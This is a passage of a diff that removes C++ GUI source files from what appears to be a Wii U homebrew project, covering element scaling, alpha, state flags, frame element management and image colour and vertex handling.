||||
virtual void setAlpha(f32 a) { alpha = a; }
|
||||
//!Gets the element's alpha value
|
||||
//!Considers alpha, alphaDyn, and the parent element's getAlpha() value
|
||||
//!\return alpha
|
||||
virtual f32 getAlpha()
|
||||
{
|
||||
f32 a;
|
||||
|
||||
if(alphaDyn >= 0)
|
||||
a = alphaDyn;
|
||||
else
|
||||
a = alpha;
|
||||
|
||||
if(parentElement)
|
||||
a = (a * parentElement->getAlpha());
|
||||
|
||||
return a;
|
||||
}
|
||||
//!Sets the element's scale
|
||||
//!\param s scale (1 is 100%)
|
||||
virtual void setScale(float s)
|
||||
{
|
||||
scaleX = s;
|
||||
scaleY = s;
|
||||
scaleZ = s;
|
||||
}
|
||||
//!Sets the element's scale
|
||||
//!\param s scale (1 is 100%)
|
||||
virtual void setScaleX(float s) { scaleX = s; }
|
||||
//!Sets the element's scale
|
||||
//!\param s scale (1 is 100%)
|
||||
virtual void setScaleY(float s) { scaleY = s; }
|
||||
//!Sets the element's scale
|
||||
//!\param s scale (1 is 100%)
|
||||
virtual void setScaleZ(float s) { scaleZ = s; }
|
||||
//!Gets the element's current scale
|
||||
//!Considers scale, scaleDyn, and the parent element's getScale() value
|
||||
virtual float getScale()
|
||||
{
|
||||
float s = 0.5f * (scaleX+scaleY) * scaleDyn;
|
||||
|
||||
if(parentElement)
|
||||
s *= parentElement->getScale();
|
||||
|
||||
return s;
|
||||
}
|
||||
//!Gets the element's current scale
|
||||
//!Considers scale, scaleDyn, and the parent element's getScale() value
|
||||
virtual float getScaleX()
|
||||
{
|
||||
float s = scaleX * scaleDyn;
|
||||
|
||||
if(parentElement)
|
||||
s *= parentElement->getScaleX();
|
||||
|
||||
return s;
|
||||
}
|
||||
//!Gets the element's current scale
|
||||
//!Considers scale, scaleDyn, and the parent element's getScale() value
|
||||
virtual float getScaleY()
|
||||
{
|
||||
float s = scaleY * scaleDyn;
|
||||
|
||||
if(parentElement)
|
||||
s *= parentElement->getScaleY();
|
||||
|
||||
return s;
|
||||
}
|
||||
//!Gets the element's current scale
|
||||
//!Considers scale, scaleDyn, and the parent element's getScale() value
|
||||
virtual float getScaleZ()
|
||||
{
|
||||
float s = scaleZ;
|
||||
|
||||
if(parentElement)
|
||||
s *= parentElement->getScaleZ();
|
||||
|
||||
return s;
|
||||
}
|
||||
//!Checks whether rumble was requested by the element
|
||||
//!\return true is rumble was requested, false otherwise
|
||||
virtual bool isRumbleActive() { return rumble; }
|
||||
//!Sets whether or not the element is requesting a rumble event
|
||||
//!\param r true if requesting rumble, false if not
|
||||
virtual void setRumble(bool r) { rumble = r; }
|
||||
//!Set an effect for the element
|
||||
//!\param e Effect to enable
|
||||
//!\param a Amount of the effect (usage varies on effect)
|
||||
//!\param t Target amount of the effect (usage varies on effect)
|
||||
virtual void setEffect(int e, int a, int t=0);
|
||||
//!Sets an effect to be enabled on wiimote cursor over
|
||||
//!\param e Effect to enable
|
||||
//!\param a Amount of the effect (usage varies on effect)
|
||||
//!\param t Target amount of the effect (usage varies on effect)
|
||||
virtual void setEffectOnOver(int e, int a, int t=0);
|
||||
//!Shortcut to SetEffectOnOver(EFFECT_SCALE, 4, 110)
|
||||
virtual void setEffectGrow() { setEffectOnOver(EFFECT_SCALE, 4, 110); }
|
||||
//!Reset all applied effects
|
||||
virtual void resetEffects();
|
||||
//!Gets the current element effects
|
||||
//!\return element effects
|
||||
virtual int getEffect() const { return effects; }
|
||||
//!\return true if element animation is on going
|
||||
virtual bool isAnimated() const { return (parentElement != 0) && (getEffect() > 0); }
|
||||
//!Checks whether the specified coordinates are within the element's boundaries
|
||||
//!\param x X coordinate
|
||||
//!\param y Y coordinate
|
||||
//!\return true if contained within, false otherwise
|
||||
virtual bool isInside(f32 x, f32 y)
|
||||
{
|
||||
return ( x > (this->getCenterX() - getScaleX() * getWidth() * 0.5f)
|
||||
&& x < (this->getCenterX() + getScaleX() * getWidth() * 0.5f)
|
||||
&& y > (this->getCenterY() - getScaleY() * getHeight() * 0.5f)
|
||||
&& y < (this->getCenterY() + getScaleY() * getHeight() * 0.5f));
|
||||
}
|
||||
//!Sets the element's position
|
||||
//!\param x X coordinate
|
||||
//!\param y Y coordinate
|
||||
virtual void setPosition(f32 x, f32 y)
|
||||
{
|
||||
xoffset = x;
|
||||
yoffset = y;
|
||||
}
|
||||
//!Sets the element's position
|
||||
//!\param x X coordinate
|
||||
//!\param y Y coordinate
|
||||
//!\param z Z coordinate
|
||||
virtual void setPosition(f32 x, f32 y, f32 z)
|
||||
{
|
||||
xoffset = x;
|
||||
yoffset = y;
|
||||
zoffset = z;
|
||||
}
|
||||
//!Gets whether or not the element is in STATE_SELECTED
|
||||
//!\return true if selected, false otherwise
|
||||
virtual int getSelected() { return -1; }
|
||||
//!Sets the element's alignment respective to its parent element
|
||||
//!Bitwise ALIGN_LEFT | ALIGN_RIGHT | ALIGN_CENTRE, ALIGN_TOP, ALIGN_BOTTOM, ALIGN_MIDDLE)
|
||||
//!\param align Alignment
|
||||
virtual void setAlignment(int a) { alignment = a; }
|
||||
//!Gets the element's alignment
|
||||
virtual int getAlignment() const { return alignment; }
|
||||
//!Angle of the object
|
||||
virtual void setAngle(f32 a) { angle = a; }
|
||||
//!Angle of the object
|
||||
virtual f32 getAngle() const { f32 r_angle = angle; if(parentElement) r_angle += parentElement->getAngle(); return r_angle; }
|
||||
//!Called constantly to allow the element to respond to the current input data
|
||||
//!\param t Pointer to a GuiController, containing the current input data from PAD/WPAD/VPAD
|
||||
virtual void update(GuiController * t) { }
|
||||
//!Called constantly to redraw the element
|
||||
virtual void draw(CVideo * v) { }
|
||||
//!Updates the element's effects (dynamic values)
|
||||
//!Called by Draw(), used for animation purposes
|
||||
virtual void updateEffects();
|
||||
|
||||
typedef struct _POINT {
|
||||
s32 x;
|
||||
s32 y;
|
||||
} POINT;
|
||||
|
||||
enum
|
||||
{
|
||||
STATE_DEFAULT = 0,
|
||||
STATE_SELECTED = 0x01,
|
||||
STATE_CLICKED = 0x02,
|
||||
STATE_HELD = 0x04,
|
||||
STATE_OVER = 0x08,
|
||||
STATE_HIDDEN = 0x10,
|
||||
STATE_DISABLED = 0x80
|
||||
};
|
||||
|
||||
//! Switch pointer from control to screen position
|
||||
POINT PtrToScreen(POINT p)
|
||||
{
|
||||
//! TODO for 3D
|
||||
//POINT r = { p.x + getLeft(), p.y + getTop() };
|
||||
return p;
|
||||
}
|
||||
//! Switch pointer screen to control position
|
||||
POINT PtrToControl(POINT p)
|
||||
{
|
||||
//! TODO for 3D
|
||||
//POINT r = { p.x - getLeft(), p.y - getTop() };
|
||||
return p;
|
||||
}
|
||||
//! Signals
|
||||
sigslot::signal2<GuiElement *, bool> visibleChanged;
|
||||
sigslot::signal3<GuiElement *, int, int> stateChanged;
|
||||
sigslot::signal1<GuiElement *> effectFinished;
|
||||
protected:
|
||||
bool rumble; //!< Wiimote rumble (on/off) - set to on when this element requests a rumble event
|
||||
bool visible; //!< Visibility of the element. If false, Draw() is skipped
|
||||
bool selectable; //!< Whether or not this element selectable (can change to SELECTED state)
|
||||
bool clickable; //!< Whether or not this element is clickable (can change to CLICKED state)
|
||||
bool holdable; //!< Whether or not this element is holdable (can change to HELD state)
|
||||
f32 width; //!< Element width
|
||||
f32 height; //!< Element height
|
||||
f32 xoffset; //!< Element X offset
|
||||
f32 yoffset; //!< Element Y offset
|
||||
f32 zoffset; //!< Element Z offset
|
||||
f32 alpha; //!< Element alpha value (0-255)
|
||||
f32 angle; //!< Angle of the object (0-360)
|
||||
f32 scaleX; //!< Element scale (1 = 100%)
|
||||
f32 scaleY; //!< Element scale (1 = 100%)
|
||||
f32 scaleZ; //!< Element scale (1 = 100%)
|
||||
int alignment; //!< Horizontal element alignment, respective to parent element
|
||||
int state[4]; //!< Element state (DEFAULT, SELECTED, CLICKED, DISABLED)
|
||||
int stateChan; //!< Which controller channel is responsible for the last change in state
|
||||
GuiElement * parentElement; //!< Parent element
|
||||
|
||||
//! TODO: Move me to some Animator class
|
||||
int xoffsetDyn; //!< Element X offset, dynamic (added to xoffset value for animation effects)
|
||||
int yoffsetDyn; //!< Element Y offset, dynamic (added to yoffset value for animation effects)
|
||||
f32 alphaDyn; //!< Element alpha, dynamic (multiplied by alpha value for blending/fading effects)
|
||||
f32 scaleDyn; //!< Element scale, dynamic (multiplied by alpha value for blending/fading effects)
|
||||
int effects; //!< Currently enabled effect(s). 0 when no effects are enabled
|
||||
int effectAmount; //!< Effect amount. Used by different effects for different purposes
|
||||
int effectTarget; //!< Effect target amount. Used by different effects for different purposes
|
||||
int effectsOver; //!< Effects to enable when wiimote cursor is over this element. Copied to effects variable on over event
|
||||
int effectAmountOver; //!< EffectAmount to set when wiimote cursor is over this element
|
||||
int effectTargetOver; //!< EffectTarget to set when wiimote cursor is over this element
|
||||
};
|
||||
|
||||
#endif
|
@ -1,267 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "GuiFrame.h"
|
||||
|
||||
GuiFrame::GuiFrame(GuiFrame *p)
|
||||
{
|
||||
parent = p;
|
||||
width = 0;
|
||||
height = 0;
|
||||
dim = false;
|
||||
|
||||
if(parent)
|
||||
parent->append(this);
|
||||
}
|
||||
|
||||
GuiFrame::GuiFrame(f32 w, f32 h, GuiFrame *p)
|
||||
{
|
||||
parent = p;
|
||||
width = w;
|
||||
height = h;
|
||||
dim = false;
|
||||
|
||||
if(parent)
|
||||
parent->append(this);
|
||||
}
|
||||
|
||||
GuiFrame::~GuiFrame()
|
||||
{
|
||||
closing(this);
|
||||
|
||||
if(parent)
|
||||
parent->remove(this);
|
||||
}
|
||||
|
||||
void GuiFrame::append(GuiElement* e)
|
||||
{
|
||||
if (e == NULL)
|
||||
return;
|
||||
|
||||
e->setParent(this);
|
||||
|
||||
ListChangeElement elem;
|
||||
elem.addElement = true;
|
||||
elem.position = -1;
|
||||
elem.element = e;
|
||||
|
||||
queueMutex.lock();
|
||||
listChangeQueue.push(elem);
|
||||
queueMutex.unlock();
|
||||
}
|
||||
|
||||
void GuiFrame::insert(GuiElement* e, u32 index)
|
||||
{
|
||||
if (e == NULL || (index >= elements.size()))
|
||||
return;
|
||||
|
||||
e->setParent(this);
|
||||
|
||||
ListChangeElement elem;
|
||||
elem.addElement = true;
|
||||
elem.position = index;
|
||||
elem.element = e;
|
||||
|
||||
queueMutex.lock();
|
||||
listChangeQueue.push(elem);
|
||||
queueMutex.unlock();
|
||||
}
|
||||
|
||||
void GuiFrame::remove(GuiElement* e)
|
||||
{
|
||||
if (e == NULL)
|
||||
return;
|
||||
|
||||
ListChangeElement elem;
|
||||
elem.addElement = false;
|
||||
elem.position = -1;
|
||||
elem.element = e;
|
||||
|
||||
queueMutex.lock();
|
||||
listChangeQueue.push(elem);
|
||||
queueMutex.unlock();
|
||||
}
|
||||
|
||||
void GuiFrame::removeAll()
|
||||
{
|
||||
elements.clear();
|
||||
}
|
||||
|
||||
void GuiFrame::close()
|
||||
{
|
||||
//Application::instance()->pushForDelete(this);
|
||||
}
|
||||
|
||||
void GuiFrame::dimBackground(bool d)
|
||||
{
|
||||
dim = d;
|
||||
}
|
||||
|
||||
GuiElement* GuiFrame::getGuiElementAt(u32 index) const
|
||||
{
|
||||
if (index >= elements.size())
|
||||
return NULL;
|
||||
return elements[index];
|
||||
}
|
||||
|
||||
u32 GuiFrame::getSize()
|
||||
{
|
||||
return elements.size();
|
||||
}
|
||||
|
||||
void GuiFrame::resetState()
|
||||
{
|
||||
GuiElement::resetState();
|
||||
|
||||
for (u32 i = 0; i < elements.size(); ++i)
|
||||
{
|
||||
elements[i]->resetState();
|
||||
}
|
||||
}
|
||||
|
||||
void GuiFrame::setState(int s, int c)
|
||||
{
|
||||
GuiElement::setState(s, c);
|
||||
|
||||
for (u32 i = 0; i < elements.size(); ++i)
|
||||
{
|
||||
elements[i]->setState(s, c);
|
||||
}
|
||||
}
|
||||
|
||||
void GuiFrame::clearState(int s, int c)
|
||||
{
|
||||
GuiElement::clearState(s, c);
|
||||
|
||||
for (u32 i = 0; i < elements.size(); ++i)
|
||||
{
|
||||
elements[i]->clearState(s, c);
|
||||
}
|
||||
}
|
||||
|
||||
void GuiFrame::setVisible(bool v)
|
||||
{
|
||||
visible = v;
|
||||
|
||||
for (u32 i = 0; i < elements.size(); ++i)
|
||||
{
|
||||
elements[i]->setVisible(v);
|
||||
}
|
||||
}
|
||||
|
||||
int GuiFrame::getSelected()
|
||||
{
|
||||
// find selected element
|
||||
int found = -1;
|
||||
for (u32 i = 0; i < elements.size(); ++i)
|
||||
{
|
||||
if(elements[i]->isStateSet(STATE_SELECTED | STATE_OVER))
|
||||
{
|
||||
found = i;
|
||||
break;
|
||||
}
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
void GuiFrame::draw(CVideo * v)
|
||||
{
|
||||
if(!this->isVisible() && parentElement)
|
||||
return;
|
||||
|
||||
if(parentElement && dim == true)
|
||||
{
|
||||
//GXColor dimColor = (GXColor){0, 0, 0, 0x70};
|
||||
//Menu_DrawRectangle(0, 0, GetZPosition(), screenwidth,screenheight, &dimColor, false, true);
|
||||
}
|
||||
|
||||
//! render appended items next frame but allow stop of render if size is reached
|
||||
u32 size = elements.size();
|
||||
|
||||
for (u32 i = 0; i < size && i < elements.size(); ++i)
|
||||
{
|
||||
elements[i]->draw(v);
|
||||
}
|
||||
}
|
||||
|
||||
void GuiFrame::updateEffects()
|
||||
{
|
||||
if(this->isVisible() || parentElement)
|
||||
{
|
||||
GuiElement::updateEffects();
|
||||
|
||||
//! render appended items next frame but allow stop of render if size is reached
|
||||
u32 size = elements.size();
|
||||
|
||||
for (u32 i = 0; i < size && i < elements.size(); ++i)
|
||||
{
|
||||
elements[i]->updateEffects();
|
||||
}
|
||||
}
|
||||
|
||||
//! at the end of main loop which this function represents append pending elements
|
||||
updateElementList();
|
||||
}
|
||||
|
||||
void GuiFrame::update(GuiController * c)
|
||||
{
|
||||
if(isStateSet(STATE_DISABLED) && parentElement)
|
||||
return;
|
||||
|
||||
//! update appended items next frame
|
||||
u32 size = elements.size();
|
||||
|
||||
for (u32 i = 0; i < size && i < elements.size(); ++i)
|
||||
{
|
||||
elements[i]->update(c);
|
||||
}
|
||||
}
|
||||
|
||||
void GuiFrame::updateElementList(void)
|
||||
{
|
||||
if(listChangeQueue.empty() == false)
|
||||
{
|
||||
queueMutex.lock();
|
||||
while(!listChangeQueue.empty())
|
||||
{
|
||||
ListChangeElement & listChange = listChangeQueue.front();
|
||||
|
||||
for (u32 i = 0; i < elements.size(); ++i)
|
||||
{
|
||||
if(listChange.element == elements[i])
|
||||
{
|
||||
elements.erase(elements.begin()+i);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if(listChange.addElement)
|
||||
{
|
||||
if(listChange.position >= 0)
|
||||
{
|
||||
elements.insert(elements.begin()+listChange.position, listChange.element);
|
||||
}
|
||||
else
|
||||
{
|
||||
elements.push_back(listChange.element);
|
||||
}
|
||||
}
|
||||
listChangeQueue.pop();
|
||||
}
|
||||
queueMutex.unlock();
|
||||
}
|
||||
|
||||
}
|
@ -1,107 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#ifndef GUI_FRAME_H_
|
||||
#define GUI_FRAME_H_
|
||||
|
||||
#include <vector>
|
||||
#include "GuiElement.h"
|
||||
#include "sigslot.h"
|
||||
|
||||
//!Allows GuiElements to be grouped together into a "window"
|
||||
class GuiFrame : public GuiElement
|
||||
{
|
||||
public:
|
||||
//!Constructor
|
||||
GuiFrame(GuiFrame *parent = 0);
|
||||
//!\overload
|
||||
//!\param w Width of window
|
||||
//!\param h Height of window
|
||||
GuiFrame(f32 w, f32 h, GuiFrame *parent = 0);
|
||||
//!Destructor
|
||||
virtual ~GuiFrame();
|
||||
//!Appends a GuiElement to the GuiFrame
|
||||
//!\param e The GuiElement to append. If it is already in the GuiFrame, it is removed first
|
||||
void append(GuiElement* e);
|
||||
//!Inserts a GuiElement into the GuiFrame at the specified index
|
||||
//!\param e The GuiElement to insert. If it is already in the GuiFrame, it is removed first
|
||||
//!\param i Index in which to insert the element
|
||||
void insert(GuiElement* e, u32 i);
|
||||
//!Removes the specified GuiElement from the GuiFrame
|
||||
//!\param e GuiElement to be removed
|
||||
void remove(GuiElement* e);
|
||||
//!Removes all GuiElements
|
||||
void removeAll();
|
||||
//!Bring element to front of the window
|
||||
void bringToFront(GuiElement *e) { remove(e); append(e); }
|
||||
//!Returns the GuiElement at the specified index
|
||||
//!\param index The index of the element
|
||||
//!\return A pointer to the element at the index, NULL on error (eg: out of bounds)
|
||||
GuiElement* getGuiElementAt(u32 index) const;
|
||||
//!Returns the size of the list of elements
|
||||
//!\return The size of the current element list
|
||||
u32 getSize();
|
||||
//!Sets the visibility of the window
|
||||
//!\param v visibility (true = visible)
|
||||
void setVisible(bool v);
|
||||
//!Resets the window's state to STATE_DEFAULT
|
||||
void resetState();
|
||||
//!Sets the window's state
|
||||
//!\param s State
|
||||
void setState(int s, int c = -1);
|
||||
void clearState(int s, int c = -1);
|
||||
//!Gets the index of the GuiElement inside the window that is currently selected
|
||||
//!\return index of selected GuiElement
|
||||
int getSelected();
|
||||
//!Dim the Window's background
|
||||
void dimBackground(bool d);
|
||||
//!Draws all the elements in this GuiFrame
|
||||
void draw(CVideo * v);
|
||||
//!Updates the window and all elements contains within
|
||||
//!Allows the GuiFrame and all elements to respond to the input data specified
|
||||
//!\param t Pointer to a GuiTrigger, containing the current input data from PAD/WPAD
|
||||
void update(GuiController * t);
|
||||
//!virtual Close Window - this will put the object on the delete queue in MainWindow
|
||||
virtual void close();
|
||||
//!virtual show window function
|
||||
virtual void show() {}
|
||||
//!virtual hide window function
|
||||
virtual void hide() {}
|
||||
//!virtual enter main loop function (blocking)
|
||||
virtual void exec() {}
|
||||
//!virtual updateEffects which is called by the main loop
|
||||
virtual void updateEffects();
|
||||
//! Signals
|
||||
//! On Closing
|
||||
sigslot::signal1<GuiFrame *> closing;
|
||||
protected:
|
||||
bool dim; //! Enable/disable dim of a window only
|
||||
GuiFrame *parent; //!< Parent Window
|
||||
std::vector<GuiElement*> elements; //!< Contains all elements within the GuiFrame
|
||||
|
||||
void updateElementList(void);
|
||||
|
||||
struct ListChangeElement
|
||||
{
|
||||
bool addElement;
|
||||
int position;
|
||||
GuiElement *element;
|
||||
};
|
||||
std::queue<ListChangeElement> listChangeQueue;
|
||||
CMutex queueMutex;
|
||||
};
|
||||
|
||||
#endif
|
@ -1,289 +0,0 @@
|
||||
/****************************************************************************
|
||||
* Copyright (C) 2015 Dimok
|
||||
*
|
||||
* This program is free software: you can redistribute it and/or modify
|
||||
* it under the terms of the GNU General Public License as published by
|
||||
* the Free Software Foundation, either version 3 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program is distributed in the hope that it will be useful,
|
||||
* but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*
|
||||
* You should have received a copy of the GNU General Public License
|
||||
* along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||
****************************************************************************/
|
||||
#include "GuiImage.h"
|
||||
#include "video/CVideo.h"
|
||||
#include "video/shaders/Texture2DShader.h"
|
||||
#include "video/shaders/ColorShader.h"
|
||||
|
||||
static const f32 fPiDiv180 = ((f32)M_PI / 180.0f);
|
||||
|
||||
GuiImage::GuiImage(GuiImageData * img)
|
||||
{
|
||||
if(img && img->getTexture())
|
||||
{
|
||||
width = img->getWidth();
|
||||
height = img->getHeight();
|
||||
}
|
||||
|
||||
internalInit(width, height);
|
||||
imageData = img;
|
||||
}
|
||||
|
||||
GuiImage::GuiImage(int w, int h, const GX2Color & c, int type)
|
||||
{
|
||||
internalInit(w, h);
|
||||
imgType = type;
|
||||
colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize;
|
||||
|
||||
colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize);
|
||||
if(colorVtxs)
|
||||
{
|
||||
for(u32 i = 0; i < colorCount; i++)
|
||||
setImageColor(c, i);
|
||||
}
|
||||
}
|
||||
|
||||
GuiImage::GuiImage(int w, int h, const GX2Color *c, u32 color_count, int type)
|
||||
{
|
||||
internalInit(w, h);
|
||||
imgType = type;
|
||||
colorCount = ColorShader::cuColorVtxsSize / ColorShader::cuColorAttrSize;
|
||||
if(colorCount < color_count)
|
||||
colorCount = color_count;
|
||||
|
||||
colorVtxs = (u8 *) memalign(GX2_VERTEX_BUFFER_ALIGNMENT, colorCount * ColorShader::cuColorAttrSize);
|
||||
if(colorVtxs)
|
||||
{
|
||||
for(u32 i = 0; i < colorCount; i++)
|
||||
{
|
||||
// take the last as reference if not enough colors defined
|
||||
int idx = (i < color_count) ? i : (color_count - 1);
|
||||
setImageColor(c[idx], i);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Destructor for the GuiImage class.
|
||||
*/
|
||||
GuiImage::~GuiImage()
|
||||
{
|
||||
if(colorVtxs) {
|
||||
free(colorVtxs);
|
||||
colorVtxs = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void GuiImage::internalInit(int w, int h)
|
||||
{
|
||||
imageData = NULL;
|
||||
width = w;
|
||||
height = h;
|
||||
tileHorizontal = -1;
|
||||
tileVertical = -1;
|
||||
imgType = IMAGE_TEXTURE;
|
||||
colorVtxsDirty = false;
|
||||
colorVtxs = NULL;
|
||||
colorCount = 0;
|
||||
posVtxs = NULL;
|
||||
texCoords = NULL;
|
||||
vtxCount = 4;
|
||||
primitive = GX2_PRIMITIVE_MODE_QUADS;
|
||||
|
||||
imageAngle = 0.0f;
|
||||
blurDirection = glm::vec3(0.0f);
|
||||
positionOffsets = glm::vec3(0.0f);
|
||||
scaleFactor = glm::vec3(1.0f);
|
||||
colorIntensity = glm::vec4(1.0f);
|
||||
}
|
||||
|
||||
void GuiImage::setImageData(GuiImageData * img)
|
||||
{
|
||||
imageData = img;
|
||||
width = 0;
|
||||
height = 0;
|
||||
if(img && img->getTexture())
|
||||
{
|
||||
width = img->getWidth();
|
||||
height = img->getHeight();
|
||||
}
|
||||
imgType = IMAGE_TEXTURE;
|
||||
}
|
||||
|
||||
GX2Color GuiImage::getPixel(int x, int y)
|
||||
{
|
||||
if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight())
|
||||
return (GX2Color){0, 0, 0, 0};
|
||||
|
||||
u32 pitch = imageData->getTexture()->surface.pitch;
|
||||
u32 *imagePtr = (u32*)imageData->getTexture()->surface.image;
|
||||
|
||||
u32 color_u32 = imagePtr[y * pitch + x];
|
||||
GX2Color color;
|
||||
color.r = (color_u32 >> 24) & 0xFF;
|
||||
color.g = (color_u32 >> 16) & 0xFF;
|
||||
color.b = (color_u32 >> 8) & 0xFF;
|
||||
color.a = (color_u32 >> 0) & 0xFF;
|
||||
return color;
|
||||
}
|
||||
|
||||
void GuiImage::setPixel(int x, int y, const GX2Color & color)
|
||||
{
|
||||
if(!imageData || this->getWidth() <= 0 || x < 0 || y < 0 || x >= this->getWidth() || y >= this->getHeight())
|
||||
return;
|
||||
|
||||
|
||||
u32 pitch = imageData->getTexture()->surface.pitch;
|
||||
u32 *imagePtr = (u32*)imageData->getTexture()->surface.image;
|
||||
imagePtr[y * pitch + x] = (color.r << 24) | (color.g << 16) | (color.b << 8) | (color.a << 0);
|
||||
}
|
||||
|
||||
void GuiImage::setImageColor(const GX2Color & c, int idx)
|
||||
{
|
||||
if(!colorVtxs) {
|
||||
return;
|
||||
}
|
||||
|
||||
if(idx >= 0 && idx < (int)colorCount)
|
||||
{
|
||||
colorVtxs[(idx << 2) + 0] = c.r;
|
||||
colorVtxs[(idx << 2) + 1] = c.g;
|
||||
colorVtxs[(idx << 2) + 2] = c.b;
|
||||
colorVtxs[(idx << 2) + 3] = c.a;
|
||||
colorVtxsDirty = true;
|
||||
}
|
||||
else if(colorVtxs)
|
||||
{
|
||||
for(u32 i = 0; i < (ColorShader::cuColorVtxsSize / sizeof(u8)); i += 4)
|
||||
{
|
||||
colorVtxs[i + 0] = c.r;
|
||||
colorVtxs[i + 1] = c.g;
|
||||
colorVtxs[i + 2] = c.b;
|
||||
colorVtxs[i + 3] = c.a;
|
||||
}
|
||||
colorVtxsDirty = true;
|
||||
}
|
||||
}
|
||||
|
||||
void GuiImage::setSize(int w, int h)
|
||||
{
|
||||
width = w;
|
||||
height = h;
|
||||
}
|
||||
|
||||
void GuiImage::setPrimitiveVertex(s32 prim, const f32 *posVtx, const f32 *texCoord, u32 vtxcount)
|
||||
{
|
||||
primitive = prim;
|
||||
vtxCount = vtxcount;
|
||||
posVtxs = posVtx;
|
||||
texCoords = texCoord;
|
||||
|
||||
if(imgType == IMAGE_COLOR)
|
||||
{
|
||||
u8 * newColorVtxs = (u8 *) memalign(0x40, ColorShader::cuColorAttrSize * vtxCount);
|
||||
|
||||
for(u32 i = 0; i < vtxCount; i++)
|
||||
{
|
||||
int newColorIdx = (i << 2);
|
||||
int colorIdx = (i < colorCount) ? (newColorIdx) : ((colorCount - 1) << 2);
|
||||
|
||||
newColorVtxs[newColorIdx + 0] = colorVtxs[colorIdx + 0];
|
||||
newColorVtxs[newColorIdx + 1] = colorVtxs[colorIdx + 1];
|
||||
newColorVtxs[newColorIdx + 2] = colorVtxs[colorIdx + 2];
|
||||
newColorVtxs[newColorIdx + 3] = colorVtxs[colorIdx + 3];
|
||||
}
|
||||
|
||||
free(colorVtxs);
|
||||
colorVtxs = newColorVtxs;
|
||||
colorCount = vtxCount;
|
||||
colorVtxsDirty = true;
|
||||
}
|
||||
}
|
||||
|
||||
void GuiImage::draw(CVideo *pVideo)
|
||||
{
|
||||
if(!this->isVisible() || tileVertical == 0 || tileHorizontal == 0)
|
||||
return;
|
||||
|
||||
f32 currScaleX = getScaleX();
|
||||
f32 currScaleY = getScaleY();
|
||||
|
||||
positionOffsets[0] = getCenterX() * pVideo->getWidthScaleFactor() * 2.0f;
|
||||
positionOffsets[1] = getCenterY() * pVideo->getHeightScaleFactor() * 2.0f;
|
||||
positionOffsets[2] = getDepth() * pVideo->getDepthScaleFactor() * 2.0f;
|
||||
|
||||
scaleFactor[0] = currScaleX * getWidth() * pVideo->getWidthScaleFactor();
|
||||
scaleFactor[1] = currScaleY * getHeight() * pVideo->getHeightScaleFactor();
|
||||
scaleFactor[2] = getScaleZ();
|
||||
|
||||
//! add other colors intensities parameters
|
||||
colorIntensity[3] = getAlpha();
|
||||
|
||||
//! angle of the object
|
||||
imageAngle = DegToRad(getAngle());
|
||||
|
||||
// if(image && tileHorizontal > 0 && tileVertical > 0)
|
||||
// {
|
||||
// for(int n=0; n<tileVertical; n++)
|
||||
// for(int i=0; i<tileHorizontal; i++)
|
||||
// {
|
||||
// if(bUnCut)
|
||||
// Menu_DrawImg(image, width, height, format, currLeft+width*i, currTop+width*n, currZ, imageangle, currScaleX, currScaleY, currAlpha);
|
||||
// else
|
||||
// Menu_DrawImgCut(image, width, height, format, currLeft+width*i, currTop+width*n, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());
|
||||
// }
|
||||
// }
|
||||
// else if(image && tileHorizontal > 0)
|
||||
// {
|
||||
// for(int i=0; i<tileHorizontal; i++)
|
||||
// {
|
||||
// int widthTile = (imageangle == 90 || imageangle == 270) ? height : width;
|
||||
// if(bUnCut)
|
||||
// Menu_DrawImg(image, width, height, format, currLeft+widthTile*i, currTop, currZ, imageangle, currScaleX, currScaleY, currAlpha);
|
||||
// else
|
||||
// Menu_DrawImgCut(image, width, height, format, currLeft+widthTile*i, currTop, currZ, imageangle, currScaleX, currScaleY, currAlpha, cutBoundsRect.x1(), cutBoundsRect.x2(), cutBoundsRect.y1(), cutBoundsRect.y2());
|
||||
// }
|
||||
// }
|
||||
// else if(image && tileVertical > 0)
|
||||
// {
|
||||
// for(int i=0; i<tileVertical; i++)
|
||||
// {
|
||||
// if(bUnCut)
|
||||
// Menu_DrawImg(image, width, height, format, currLeft, currTop+height*i, currZ, imageangle, currScaleX, currScaleY, currAlpha);
|
||||
// else
|
||||
